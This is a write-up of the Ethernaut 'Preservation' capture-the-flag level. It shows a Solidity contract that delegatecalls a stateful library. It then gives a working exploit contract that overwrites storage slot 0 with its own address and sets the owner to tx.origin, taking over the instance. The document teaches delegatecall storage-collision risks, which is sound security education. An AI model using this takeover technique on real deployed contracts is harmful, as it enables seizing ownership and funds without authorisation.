Skip to content

Latest commit

 

History

History
105 lines (80 loc) · 3.53 KB

16. Preservation.md

File metadata and controls

105 lines (80 loc) · 3.53 KB

Preservation

difficulty 8/10

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.

Sources

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Level author

Adrian Manning
[email protected]
https://github.com/AgeManning

Solution

Solidity libraries can modify invoking contracts code if called with delegatecall if they are defined as contracts and not as libraries.

  1. Using Remix, deploy the PreservationHack.sol that will be injected into timeZone1Library storage space.

PreservationHack.sol

pragma solidity ^0.4.23;

contract PreservationHack {
  // copy original contract data layout
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  
  function hack(address _preservation) public {
      Preservation preservation = Preservation(_preservation);
      // copy address of this library to the storage space 0
      preservation.setFirstTime(uint256(address(this)));
      // set "owner" variable at storage space 2
      preservation.setFirstTime(1);
  }

  function setTime(uint _hackData) public {
    _hackData;
    // this line will set us as the owner of the invoking contract
    // solium-disable-next-line security/no-tx-origin
    owner = tx.origin;
  }
}
  1. Invoke hack method of the PreservationHack contract. This contract will inject it's address in the storage space 0, and then invoke setTime method on itself. This will set owner variable to player address.

  2. Check if player is the owner of the contract.
    player === (await contract.owner())
    true

  3. Submit instance 🎉

Lesson

As the previous level, delegate mentions, the use of delegatecall to call libraries can be risky. This is particularly true for contract "libraries" that have their own state. This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.